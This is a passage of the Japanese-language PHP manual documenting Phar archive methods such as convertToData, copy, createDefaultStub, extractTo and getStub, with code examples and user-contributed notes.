二度コールされた場合に BadMethodCallException、 phar アーカイブがオープンできなかった場合に UnexpectedValueException がスローされます。

例

例1 Phar::__construct() の例

<?php
try {
    $p = new Phar('/path/to/my.phar', FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::KEY_AS_FILENAME,
                  'my.phar');
} catch (UnexpectedValueException $e) {
    die('my.phar をオープンできません');
} catch (BadMethodCallException $e) {
    echo 'これはありえません';
}
// これは動作します
echo file_get_contents('phar://my.phar/example.txt');
// これも動作します
echo file_get_contents('phar:///path/to/my.phar/example.txt');
?>

User Contributed Notes

myselfasunder at findmenow dot gmail dot com 12-Jul-2010 01:18
Zip support seems to be shaky, in that just attempting to open a Zip file (created by 7-Zip) with both the 'zlib' and 'zip' extensions enabled renders the following error:

Error: Cannot convert phar archive "C:/Development/webdir/public_html/TestPhar.zip", unable to open entry "TestPhar/" contents: phar error: internal corruption of zip-based phar "C:/Development/webdir/public_html/TestPhar.zip" (local header of file "TestPhar/" does not match central directory)

Stick to GZ's and BZ2's (but don't forget to enable the BZ2 extension if necessary).

Phar can ONLY open executable Phar's and PharData can ONLY open non-executable Phar's. Both have the ability to convert between the two formats.

However, you can reference a file within a Phar regardless of whether it's executable using the Phar stream wrapper (file_get_contents('phar://<Phar file>/subdirectory/subdirectory/somefile.txt')).

Dustin Oprea
Christian 13-Apr-2010 06:39
It's not possible to create a new archive when safe_mode is enabled! You simply return a 'Phar creation or opening failed' error.
This applies to Phar and PharData in PHP 5.3.2.


phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

  • ≪ Phar::__construct
  • Phar::convertToExecutable ≫
  • PHP Manual
  • Phar
  • phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

Phar::convertToData

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::convertToData — phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

説明

public Phar::convertToData ( int $format = 9021976 , int $compression = 9021976 , string $extension = ? ) : PharData

このメソッドは、実行可能な phar アーカイブを tar あるいは zip ファイルに変換します。 tar あるいは zip を実行可能ではない形式にするため、 phar スタブおよび phar エイリアスファイルはアーカイブから削除されます。

何も変更しなかった場合、もしアーカイブが phar 形式ならこのメソッドは BadMethodCallException をスローします。 tar あるいは zip 形式のアーカイブの場合は、 このメソッドはアーカイブを実行可能でない形式に変換します。

成功した場合は、このメソッドはディスク上に新しいアーカイブを作成して PharData オブジェクトを返します。 古いアーカイブは削除されずディスク上に残るので、 処理を終えたら手動で削除する必要があります。

パラメータ

format

これは Phar::TAR あるいは Phar::ZIP のいずれかとなります。 null を指定すると、現在のファイル形式をそのまま保持します。

compression

アーカイブ全体の圧縮を行わない場合は Phar::NONE、
zlib による圧縮の場合は Phar::GZ、そして bzip による圧縮の場合は
Phar::BZ2 のいずれかを指定します。

extension

このパラメータは、変換後のアーカイブのデフォルトのファイル拡張子を変更します。 実行可能でない tar や zip アーカイブのファイル名としては .phar は使用できないことに注意しましょう。

tar 形式の phar アーカイブの場合、デフォルトの拡張子は圧縮形式によって .tar、.tar.gz、 .tar.bz2 のいずれかとなります。 zip 形式のアーカイブの場合、デフォルトの拡張子は .zip となります。

返り値

このメソッドは、成功した場合に PharData オブジェクトを返します。失敗した場合は例外をスローします。

エラー / 例外

圧縮ができない場合や無効な圧縮方式が指定された場合、あるいは Phar::startBuffering() でバッファリングしたまま Phar::stopBuffering() を実行していないアーカイブを処理しようとした場合に BadMethodCallException をスローします。 また、phar 作成中に何らかの問題が発生した場合に PharException をスローします。

例

例1 Phar::convertToData() の例

Phar::convertToData() の使用法です。

<?php
try {
    $tarphar = new Phar('myphar.phar.tar');
    // myphar.phar.tar は削除 *されない* ことに注意しましょう
    // 実行可能ではない tar 形式に変換し
    // myphar.tar を作成します
    $tar = $tarphar->convertToData();
    // 実行可能でない zip 形式に変換し myphar.zip を作成します
    $zip = $tarphar->convertToData(Phar::ZIP);
    // myphar.tbz を作成します
    $tgz = $tarphar->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
    // myphar.phar.tgz を作成します
    $phar = $tarphar->convertToData(Phar::PHAR); // 例外をスローします
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • Phar::convertToExecutable() - phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
  • PharData::convertToExecutable() - 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する
  • PharData::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブを実行可能な別の phar アーカイブ形式に変換する

  • ≪ Phar::convertToData
  • Phar::copy ≫
  • PHP Manual
  • Phar
  • phar アーカイブを実行可能な別の phar アーカイブ形式に変換する

Phar::convertToExecutable

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::convertToExecutable — phar アーカイブを実行可能な別の phar アーカイブ形式に変換する

説明

public Phar::convertToExecutable ( int $format = 9021976 , int $compression = 9021976 , string $extension = ? ) : Phar

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドは、phar アーカイブを別のファイル形式に変換します。 たとえば、zip 形式の実行可能な phar アーカイブあるいは phar 形式の実行可能な phar アーカイブから tar 形式の実行可能な phar アーカイブを作成することができます。 さらに、tar あるいは phar 形式のアーカイブについてはアーカイブ全体を圧縮することもできます。

何も変更しなかった場合、このメソッドは BadMethodCallException をスローします。

成功した場合は、このメソッドはディスク上に新しいアーカイブを作成して Phar オブジェクトを返します。 古いアーカイブは削除されずディスク上に残るので、 処理を終えたら手動で削除する必要があります。

パラメータ

format

これは Phar::PHAR、Phar::TAR あるいは Phar::ZIP のいずれかとなります。 null を指定すると、現在のファイル形式をそのまま保持します。

compression

アーカイブ全体の圧縮を行わない場合は Phar::NONE、
zlib による圧縮の場合は Phar::GZ、そして bzip による圧縮の場合は
Phar::BZ2 のいずれかを指定します。

extension

このパラメータは、変換後のアーカイブのデフォルトのファイル拡張子を変更します。 実行可能でない tar や zip アーカイブのファイル名としては .phar は使用できないことに注意しましょう。

phar 形式のアーカイブに変換する場合、デフォルトの拡張子は圧縮形式によって .phar、.phar.gz あるいは .phar.bz2 のいずれかとなります。tar 形式のアーカイブの場合、デフォルトの拡張子は .phar.tar、.phar.tar.gz および .phar.tar.bz2 です。zip 形式のアーカイブの場合、 デフォルトの拡張子は .phar.zip となります。

返り値

このメソッドは、成功した場合に Phar オブジェクトを返します。失敗した場合は例外をスローします。

エラー / 例外

圧縮ができない場合や無効な圧縮方式が指定された場合、あるいは Phar::startBuffering() でバッファリングしたまま Phar::stopBuffering() を実行していないアーカイブを処理しようとした場合に BadMethodCallException をスローします。 また、書き込みサポートが無効な場合に UnexpectedValueException、 phar 作成中に何らかの問題が発生した場合に PharException をスローします。

例

例1 Phar::convertToExecutable() の例

Phar::convertToExecutable() の使用例です。

<?php
try {
    $tarphar = new Phar('myphar.phar.tar');
    // phar ファイル形式に変換します
    // myphar.phar.tar は削除 *されない* ことに注意しましょう
    $phar = $tarphar->convertToExecutable(Phar::PHAR); // myphar.phar を作成します
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
    // myphar.phar.tgz を作成します
    $compressed = $phar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • Phar::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
  • PharData::convertToExecutable() - 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する
  • PharData::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 12:52
Convert to executable and compress methods override any stub you have created with their own stub which is responsible for extracting/executing self's content.

calling setStub() after convertingToExecutable doesn't help either. As far of php 5.3.6 (phar     2.0.1 ) if you want to have a phar archive accessible threw the web, you'll have to create your own
index.php which will include a nonexecutable phar and act as the bootstrap.


phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする

  • ≪ Phar::convertToExecutable
  • Phar::count ≫
  • PHP Manual
  • Phar
  • phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする

Phar::copy

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::copy — phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする

説明

public Phar::copy ( string $oldfile , string $newfile ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

phar アーカイブ内のファイルを、そのアーカイブ内で別の新しいファイルとしてコピーします。 これは、phar ストリームラッパーでの copy() と同等の操作をオブジェクト指向で行うものです。

パラメータ

oldfile

newfile

返り値

成功した場合に true を返します。しかし、より安全を期すなら try/catch ブロック内で使用して例外がスローされないことを確認するといいでしょう。

エラー / 例外

コピー元のファイルが存在しない、コピー先のファイルが既に存在する、 書き込みアクセスが無効になっている、どちらかのファイルのオープンに失敗した、 あるいはコピー元のファイルの読み込みに失敗した場合に UnexpectedValueException をスローします。 変更内容の phar への書き込みに失敗した場合は PharException をスローします。

例

例1 Phar::copy() の例

この例は、Phar::copy() の使用法のほかに それと同等の操作をストリームラッパーで行う方法を示すものです。 これらの方式の最大の違いはエラー処理です。 Phar のすべてのメソッドは例外をスローしますが、ストリームラッパーの場合は trigger_error() を使用します。

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar['a'] = 'hi';
    $phar->copy('a', 'b');
    echo $phar['b']; // 出力は "hi"
} catch (Exception $e) {
    // エラー処理
}

// 上のコードと同等の処理をストリームラッパーで行う例。
// エラー時には例外ではなく E_WARNINGS が発生します
copy('phar://myphar.phar/a', 'phar//myphar.phar/c');
echo file_get_contents('phar://myphar.phar/c'); // 出力は "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブ内のエントリ (ファイル) の数を返す

  • ≪ Phar::copy
  • Phar::createDefaultStub ≫
  • PHP Manual
  • Phar
  • Phar アーカイブ内のエントリ (ファイル) の数を返す

Phar::count

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::count — Phar アーカイブ内のエントリ (ファイル) の数を返す

説明

public Phar::count ( ) : int

パラメータ

返り値

この phar ファイルに含まれるファイルの数を返します。 存在しない場合は 0 (数字のゼロ) を返します。

例

例1 Phar::count() の例

<?php
// 存在しないことを確実にしておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'phar を作成できません', $e;
}
echo 'phar のエントリ数は ' . $p->count() . " です\n";
$p['file.txt'] = 'hi';
echo 'phar のエントリ数は ' . $p->count() . " です\n";
?>

上の例の出力は以下となります。

phar のエントリ数は 0 です
phar のエントリ数は 1 です

User Contributed Notes

There are no user contributed notes for this page.


phar ファイルフォーマット用のスタブを作成する

  • ≪ Phar::count
  • Phar::decompress ≫
  • PHP Manual
  • Phar
  • phar ファイルフォーマット用のスタブを作成する

Phar::createDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::createDefaultStub — phar ファイルフォーマット用のスタブを作成する

説明

final public static Phar::createDefaultStub ( string $indexfile = ? , string $webindexfile = ? ) : string

このメソッドは、phar ファイル形式のスタブを作成するためのもので、 tar 形式や zip 形式の phar アーカイブでは使用しません。

PHP でかかれた起動ローダー (スタブ) を含む Phar アーカイブを PHP から実行するには、次のようにそれをインクルードするか、

<?php
include 'myphar.phar';
?>
あるいは単に実行します。
php myphar.phar

このメソッドは、phar アーカイブの起動時に実行するスタブ用のメソッドを作成します。 さらに、phar アーカイブをコマンドラインやウェブサーバーから実行する際には別のファイルを指定することもできます。 ローダースタブは Phar::interceptFileFuncs() もコールでき、PHP のアプリケーションからファイルシステムを簡単に扱えるようになります。 phar 拡張モジュールが存在しない場合は、 ローダースタブが phar アーカイブの内容を一時ディレクトリに展開し、 そのファイルを操作します。 シャットダウン関数が、この一時ファイル群を削除します。

返り値

独自の起動ローダー (スタブ) を文字列で返します。 これを用いて作成した Phar アーカイブは、 Phar 拡張モジュールが有効になっていない環境でも実行することができます。

エラー / 例外

パラメータの長さが 400 バイトをこえる場合に UnexpectedValueException をスローします。

例

例1 Phar::createDefaultStub() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • Phar::setStub() - Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する
  • Phar::getStub() - Phar アーカイブの PHP ローダーあるいは起動スタブを返す

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブ全体の圧縮を解除する

  • ≪ Phar::createDefaultStub
  • Phar::decompressFiles ≫
  • PHP Manual
  • Phar
  • Phar アーカイブ全体の圧縮を解除する

Phar::decompress

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::decompress — Phar アーカイブ全体の圧縮を解除する

説明

public Phar::decompress ( string $extension = ? ) : Phar

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

tar 形式あるいは phar 形式の phar アーカイブの場合は、 このメソッドはアーカイブ全体の圧縮を解除します。

zip 形式の phar アーカイブの場合は、このメソッドは失敗して例外が発生します。 gzip で圧縮されたファイルの圧縮を解除するためには zlib 拡張モジュールが、そして bzip2 で圧縮されたファイルの圧縮を解除するためには bzip2 拡張モジュールが有効になっていなければなりません。 この関数は phar の内容を変更するので、使用するには INI 設定 phar.readonly が off になっていなければなりません。

さらに、このメソッドは自動的にアーカイブの拡張子を変更し、 phar アーカイブなら .phar、 tar 形式のアーカイブなら .phar.tar をデフォルトで追加します。 もうひとつの方法として、ファイルの拡張子を 2 番目のパラメータで指定することもできます。

パラメータ

extension

圧縮を解除する場合、デフォルトのファイル拡張子は .phar および .phar.tar です。 このパラメータを使用すると、別の拡張子を指定することができます。 実行可能な phar アーカイブは、ファイル名に必ず .phar を含まなければならないことに注意しましょう。

返り値

Phar オブジェクトを返します。

エラー / 例外

INI 設定 phar.readonly が on の場合、zlib 拡張モジュールが使用できない場合、あるいは bzip2 拡張モジュールが使用できない場合に BadMethodCallException をスローします。

例

例1 Phar::decompress() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar.gz');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p3 = $p2->decompress(); // /path/to/my.phar を作成します
?>

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • PharData::compress() - tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する

User Contributed Notes

shevadas at gmail dot com 26-Apr-2016 04:19
decompress() will truncate any part of the filename after the first period, as it assumes it's part of the extension. For example, if your PharData archive is named "views-3.x-3.13.tar.gz", calling decompress on it will create a tar file named "views-3.tar". See https://bugs.php.net/bug.php?id=58852


現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する

  • ≪ Phar::decompress
  • Phar::delMetadata ≫
  • PHP Manual
  • Phar
  • 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する

Phar::decompressFiles

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::decompressFiles — 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する

説明

public Phar::decompressFiles ( ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

tar 形式の phar アーカイブでは、このメソッドは BadMethodCallException をスローします。 というのも、tar ファイルフォーマットではアーカイブ内の個別のファイルの圧縮をサポートしていないからです。 Phar::compress() を使用して、tar 形式の phar アーカイブ全体を圧縮します。

zip 形式および phar 形式の phar アーカイブでは、 このメソッドは Phar アーカイブ内のすべてのファイルの圧縮を解除します。 もし bzip2/zlib で圧縮されているファイルがある場合は、 この機能を使用するには、zlib 拡張モジュールあるいは bzip2 拡張モジュールが有効になっている必要があります。 この関数は phar の内容を変更するので、使用するためには INI 設定 phar.readonly が off になっている必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

INI 設定 phar.readonly が on の場合、zlib 拡張モジュールが有効でない場合、 あるいは既に bzip2 圧縮されているファイルがあるのに bzip2 拡張モジュールが有効でない場合に BadMethodCallException をスローします。

例

例1 Phar::decompressFiles() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->decompressFiles();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

上の例の出力は以下となります。

string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)
string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する

User Contributed Notes

There are no user contributed notes for this page.


phar のグローバルメタデータを削除する

  • ≪ Phar::decompressFiles
  • Phar::delete ≫
  • PHP Manual
  • Phar
  • phar のグローバルメタデータを削除する

Phar::delMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.0)

Phar::delMetadata — phar のグローバルメタデータを削除する

説明

public Phar::delMetadata ( ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

phar のグローバルメタデータを削除します。

パラメータ

返り値

成功した場合に true を返します。しかし、より安全を期すなら try/catch ブロック内で使用して例外がスローされないことを確認するといいでしょう。

エラー / 例外

変更をディスクに書き戻す際にエラーが発生した場合は PharException をスローします。

例

例1 Phar::delMetaData() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    var_dump($phar->getMetadata());
    $phar->setMetadata("hi there");
    var_dump($phar->getMetadata());
    $phar->delMetadata();
    var_dump($phar->getMetadata());
} catch (Exception $e) {
    // エラー処理
}
?>

上の例の出力は以下となります。

NULL
string(8) "hi there"
NULL

参考

  • Phar::getMetadata() - phar アーカイブのメタデータを返す
  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブ内のファイルを削除する

  • ≪ Phar::delMetadata
  • Phar::extractTo ≫
  • PHP Manual
  • Phar
  • phar アーカイブ内のファイルを削除する

Phar::delete

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::delete — phar アーカイブ内のファイルを削除する

説明

public Phar::delete ( string $entry ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

アーカイブ内のファイルを削除します。 これは、ストリームラッパー上で unlink() をコールするのと同じ意味です。以下に例を示します。

パラメータ

entry

削除したいファイルの、アーカイブ内でのパス。

返り値

成功した場合に true を返します。 しかし、例外がスローされているかどうかを確認したうえで 例外がなければ成功とみなすほうがいいでしょう。

エラー / 例外

変更内容をディスクに書き込む際にエラーが発生した場合は PharException をスローします。

例

例1 Phar::delete() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->delete('unlink/me.php');
    // これは以下と同じ意味です
    unlink('phar://myphar.phar/unlink/me.php');
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • PharData::delete() - tar/zip アーカイブ内のファイルを削除する
  • Phar::unlinkArchive() - phar アーカイブをディスクとメモリから完全に削除する

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブの内容をディレクトリに展開する

  • ≪ Phar::delete
  • Phar::getAlias ≫
  • PHP Manual
  • Phar
  • phar アーカイブの内容をディレクトリに展開する

Phar::extractTo

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::extractTo — phar アーカイブの内容をディレクトリに展開する

説明

public Phar::extractTo ( string $pathto , string|array|null $files = null , bool $overwrite = false ) : bool

phar アーカイブ内のすべてのファイルをディスクに展開します。 展開されたファイルやディレクトリは、アーカイブに保存されたときのパーミッションを維持しています。 オプションのパラメータを使用すると、どのファイルを展開するかを制御したり 既存のファイルを上書きするかどうかを指定したりすることができます。 2 番目のパラメータ files には、 展開したいファイルやディレクトリの名前、あるいはその配列を指定します。 デフォルトでは、このメソッドは既存のファイルを上書きしません。 3 番目のパラメータを true にすると既存のファイルを上書きさせることができます。 このメソッドは ZipArchive::extractTo() と同じようなものです。

パラメータ

pathto

指定した files の展開先のパス。

files

展開したいファイル名/ディレクトリ名、あるいはその配列。 この引数をスキップするには null を指定します。

overwrite

true にすると既存のファイルを上書きします。

返り値

成功した場合に true を返します。 しかし、例外がスローされているかどうかを確認したうえで 例外がなければ成功とみなすほうがいいでしょう。

エラー / 例外

変更内容をディスクに書き込む際にエラーが発生した場合は PharException をスローします。

例

例1 Phar::extractTo() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->extractTo('/full/path'); // すべてのファイルを展開します
    $phar->extractTo('/another/path', 'file.txt'); // file.txt のみを展開します
    $phar->extractTo('/this/path',
        array('file1.txt', 'file2.txt')); // 2 つのファイルだけを展開します
    $phar->extractTo('/third/path', null, true); // すべてのファイルを展開し、上書きします
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • PharData::extractTo() - tar/zip アーカイブの内容をディレクトリに展開する

User Contributed Notes

msucco at mac dot com 30-Jul-2019 08:09
On the command line (*nix) you can use the following command to extract a phar file:

$ mkdir tmp && cd $_
$ phar extract -f ../file.phar


Phar のエイリアスを取得する

  • ≪ Phar::extractTo
  • Phar::getMetadata ≫
  • PHP Manual
  • Phar
  • Phar のエイリアスを取得する

Phar::getAlias

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.1)

Phar::getAlias — Phar のエイリアスを取得する

説明

public Phar::getAlias ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

エイリアスを返します。エイリアスがない場合は null を返します。

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブのメタデータを返す

  • ≪ Phar::getAlias
  • Phar::getModified ≫
  • PHP Manual
  • Phar
  • phar アーカイブのメタデータを返す

Phar::getMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::getMetadata — phar アーカイブのメタデータを返す

説明

public Phar::getMetadata ( ) : mixed

アーカイブのメタデータを取得します。メタデータは、PHP の任意の変数をシリアライズしたものです。

パラメータ

パラメータはありません。

返り値

Phar アーカイブのメタデータとして保存されている、シリアライズ可能な任意の PHP 変数を返します。 メタデータが保存されていない場合は null を返します。

例

例1 Phar::getMetadata() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello";';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'phar を変更できません:', $e;
}
?>

上の例の出力は以下となります。

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

参考

  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::delMetadata() - phar のグローバルメタデータを削除する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


phar が変更されているかどうかを返す

  • ≪ Phar::getMetadata
  • Phar::getPath ≫
  • PHP Manual
  • Phar
  • phar が変更されているかどうかを返す

Phar::getModified

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::getModified — phar が変更されているかどうかを返す

説明

public Phar::getModified ( ) : bool

このメソッドを使用すると、phar 内のファイルが 削除されたり変更されたりしているかどうかを判断できます。

パラメータ

パラメータはありません。

返り値

オープンした後でファイルが変更されている場合に true、 そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Pharアーカイブのディスク上の実際のパスを取得する

  • ≪ Phar::getModified
  • Phar::getSignature ≫
  • PHP Manual
  • Phar
  • Pharアーカイブのディスク上の実際のパスを取得する

Phar::getPath

(PHP 5 >= 5.3.0, PHP 7)

Phar::getPath — Pharアーカイブのディスク上の実際のパスを取得する

説明

public Phar::getPath ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す

  • ≪ Phar::getPath
  • Phar::getStub ≫
  • PHP Manual
  • Phar
  • Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す

Phar::getSignature

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::getSignature — Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す

説明

public Phar::getSignature ( ) : array

phar アーカイブの検証用シグネチャを、 十六進文字列で返します。

パラメータ

返り値

開いているアーカイブのシグネチャを配列で返します。 キー hash にはシグネチャ自体を、そしてキー hash_type には MD5、SHA-1、 SHA-256、SHA-512 あるいは OpenSSL を格納します。 このシグネチャは phar の中身全体から計算したハッシュで、 アーカイブの整合性を検証する際に使用します。 INI 設定 phar.require_hash が true の場合は、すべての実行可能な phar が有効なシグネチャを持っている必要があります。

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの PHP ローダーあるいは起動スタブを返す

  • ≪ Phar::getSignature
  • Phar::getSupportedCompression ≫
  • PHP Manual
  • Phar
  • Phar アーカイブの PHP ローダーあるいは起動スタブを返す

Phar::getStub

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::getStub — Phar アーカイブの PHP ローダーあるいは起動スタブを返す

説明

public Phar::getStub ( ) : string

Phar アーカイブには、ブートストラップローダー (あるいは スタブ) というものが含まれています。これは PHP で書かれており、 そのアーカイブを PHP から実行したときに最初に実行されます。 たとえば次のようにインクルードしたり、

<?php
include 'myphar.phar';
?>
あるいは単純に実行したりなどした場合です。
php myphar.phar

返り値

現在の Phar アーカイブの起動用ローダー (スタブ) の内容を文字列で返します。

エラー / 例外

スタブを Phar アーカイブから読み込めない場合に RuntimeException をスローします。

例

例1 Phar::getStub() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
echo $p->getStub();
echo "==NEXT==\n";
$p->setStub("<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>");
echo $p->getStub();
?>

上の例の出力は以下となります。

<?php __HALT_COMPILER(); ?>
==NEXT==
<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER(); ?>

参考

  • Phar::setStub() - Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する
  • Phar::createDefaultStub() - phar ファイルフォーマット用のスタブを作成する

User Contributed Notes

There are no user contributed notes for this page.


サポートする圧縮アルゴリズムの配列を返す

  • ≪ Phar::getStub
  • Phar::getSupportedSignatures ≫
  • PHP Manual
  • Phar
  • サポートする圧縮アルゴリズムの配列を返す

Phar::getSupportedCompression

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.0)

Phar::getSupportedCompression — サポートする圧縮アルゴリズムの配列を返す

説明

final public static Phar::getSupportedCompression ( ) : array
